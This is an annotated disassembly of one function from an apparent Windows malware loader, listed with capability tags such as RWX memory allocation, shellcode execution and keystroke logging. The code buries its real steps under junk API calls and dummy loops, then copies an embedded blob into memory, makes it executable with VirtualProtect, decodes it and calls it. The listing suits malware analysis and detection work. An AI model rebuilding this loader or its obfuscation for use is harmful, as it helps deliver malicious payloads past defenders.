Function at 0x408ec0
Capabilities:
Allocate or change rwx memory
Allocate thread local storage
Execute shellcode via indirect call
Execute shellcode via windows callback function
Log keystrokes via polling
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xaac
push 0x411e80
call section..text
add esp, 4
cmp eax, 0x34e58
jne 0x408fc2
push 0x411e80
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0xbada1
jne 0x408fc2
push str.bihipebuzudutuxuvevagekupupalove_rimejobofoyunezejodu_gotuworamo_wujudolusakeyanabugawafatoxoru_rawusovese
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push str.wucezimegiradimaho_boxabuyacuhodanawonagehacihime
push str.guba
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_FileTimeToDosDateTime]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push 0
lea eax, [ebp - 0x44]
push eax
push 0
call dword [sym.imp.USER32.dll_GetUpdateRect]
push 0
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0
call dword [sym.imp.USER32.dll_DrawEdge]
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowWord]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
push 0x4c
sub esp, 8
fld qword [0x40ee80]
fstp qword [esp]
push str.Du_valowa_juvufeturimoputepoko_bayudilaba_vuyewayifukaha_pujipukisehesahovete_xomehisa
push str._s__f__c
call fcn.004011ab
add esp, 0x14
push str.cejogapuci
push str.banulutone_yogupoxobo_zobeyikanolinu_ju_vecowadapagejofotezuyayo_devo_jawo_ve_zoko
push 0x67897af6
push 0x4225c8
call fcn.00408df0
add esp, 0x10
mov dword [ebp - 0x48], 0
jmp 0x408fd4
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
cmp dword [ebp - 0x48], 0x79bc38b
jge 0x409065
cmp dword [ebp - 0x48], 0x46c
jge 0x408ff9
lea eax, [ebp - 0x94]
push eax
push 0
call dword [sym.imp.USER32.dll_DrawFocusRect]
cmp dword [ebp - 0x48], 0x34e
jge 0x409012
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeStatus]
push 0
call dword [sym.imp.GDI32.dll_GdiSetBatchLimit]
lea ecx, [ebp - 0x5c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
cmp dword [ebp - 0x48], 0x9ba57e
jle 0x409060
cmp dword [ebp - 0x78], 0x16552e69
je 0x409060
cmp dword [ebp - 0x5c], 0x3c17f72b
je 0x409060
lea edx, [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
lea eax, [ebp - 0x98]
push eax
push 0
push str.butihaloluromamuhufiwo_mutibakibozobutubakodazofi_sarutoyewemulo
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
jmp 0x409065
jmp 0x408fcb
mov dword [ebp - 0xac], 0
jmp 0x409080
mov ecx, dword [ebp - 0xac]
add ecx, 1
mov dword [ebp - 0xac], ecx
cmp dword [ebp - 0xac], 0x44212d
jge 0x40911c
cmp dword [ebp - 0xac], 0x82a
jge 0x4090c5
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowContextHelpId]
push 0
call dword [sym.imp.USER32.dll_GetWindowContextHelpId]
push str.feveselujone_caderecini
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EraseTape]
cmp dword [ebp - 0xac], 0x41a69c
jne 0x4090dd
mov edx, dword [0x410dc4]
mov dword [0x4225c4], edx
cmp dword [ebp - 0xac], 0x17e6
jge 0x409117
push 0
call dword [sym.imp.GDI32.dll_GetTextAlign]
mov dword [ebp - 0xb4], 0
xor eax, eax
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0xb0]
push ecx
mov edx, dword [ebp - 0xb4]
push edx
call dword [sym.imp.USER32.dll_WindowFromPoint]
jmp 0x409071
mov eax, dword [0x4225c4]
add eax, 0xa56d2
mov dword [0x4225c4], eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x4129ac], eax
mov dword [ebp - 0xb8], 0
jmp 0x409156
mov ecx, dword [ebp - 0xb8]
add ecx, 1
mov dword [ebp - 0xb8], ecx
cmp dword [ebp - 0xb8], 0x39d12
jge 0x4091f7
cmp dword [ebp - 0xb8], 0x61
jge 0x4091a4
push str.sicabekucewayi_hayamecaya_rufonisatasisedaca_yuvuhokirimuhano_yegigamaviha
push 0
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
push 0
lea edx, [ebp - 0x4b8]
push edx
push 0
call dword [sym.imp.USER32.dll_DlgDirSelectExA]
push 0
push 0
push 0
push 0
push 0
push str.paricigecoxeyemu
call dword [sym.imp.USER32.dll_CreateDesktopA]
cmp dword [ebp - 0xb8], 0x1261d
jne 0x4091c6
push str.GlobalAlloc
mov eax, dword [0x4129ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4129a8], eax
cmp dword [ebp - 0xb8], 0x5b
jge 0x4091f2
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push 0
lea ecx, [ebp - 0x8b8]
push ecx
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumPropsW]
jmp 0x409147
mov dword [ebp - 0x8bc], 0
jmp 0x409212
mov edx, dword [ebp - 0x8bc]
add edx, 1
mov dword [ebp - 0x8bc], edx
cmp dword [ebp - 0x8bc], 0x1ef2a3
jge 0x409258
cmp dword [ebp - 0x8bc], 0x142a
jge 0x409237
push str.tazeyi_somubupecetunazede_du
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
cmp dword [ebp - 0x8bc], 0x17afed
jne 0x409256
mov eax, dword [0x4225c4]
push eax
push 0
call dword [0x4129a8]
mov dword [0x4129a4], eax
jmp 0x409203
mov ecx, dword [0x410db8]
mov dword [0x423518], ecx
mov dword [ebp - 0x8c0], 0
jmp 0x40927f
mov edx, dword [ebp - 0x8c0]
add edx, 1
mov dword [ebp - 0x8c0], edx
mov eax, dword [ebp - 0x8c0]
cmp eax, dword [0x4225c4]
jae 0x409313
cmp dword [ebp - 0x8c0], 0x12fd
jge 0x4092b6
lea ecx, [ebp - 0x8fc]
push ecx
push 0
call dword [sym.imp.GDI32.dll_GetTextMetricsW]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetMetaFileBitsEx]
mov edx, dword [0x4129a4]
add edx, dword [ebp - 0x8c0]
mov eax, dword [0x423518]
add eax, dword [ebp - 0x8c0]
mov cl, byte [eax + 0xa56d2]
mov byte [edx], cl
cmp dword [ebp - 0x8c0], 0x1360
jge 0x40930e
mov dword [ebp - 0xaa8], 0
push 0x1a0
push 0
lea edx, [ebp - 0xaa4]
push edx
call fcn.00405140
add esp, 0xc
lea eax, [ebp - 0xaa8]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectExW]
jmp 0x409270
lea ecx, [ebp - 4]
push ecx
push 0x40
mov edx, dword [0x4225c4]
push edx
mov eax, dword [0x4129a4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [0x410db0]
push ecx
mov edx, dword [0x4225c4]
mov ecx, dword [0x4129a4]
call fcn.00408e90
mov dword [ebp - 0xaac], 0
jmp 0x40935f
mov edx, dword [ebp - 0xaac]
add edx, 1
mov dword [ebp - 0xaac], edx
cmp dword [ebp - 0xaac], 0x487cca
jge 0x4093a2
cmp dword [ebp - 0xaac], 0x1870f0
jne 0x40937d
call dword [0x4129a4]
cmp dword [ebp - 0xaac], 0x20f4
jge 0x4093a0
push str.luzozumatokegekuyijadu
push 0
push str.Va_paridodabixuteluvahuve_heneweju_kopure
push str.muluyuwe_bavu_mudahuzijoyahimewidefi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
jmp 0x409350
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0xc]
push edx
push 0
push 0
push str.Nu_raxi_fesorebozotagajawikucukibo_sebukajibonoce_rijuzocovo
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
push 0
call dword [sym.imp.GDI32.dll_CreateColorSpaceA]
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov dword [ecx + 4], 1
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10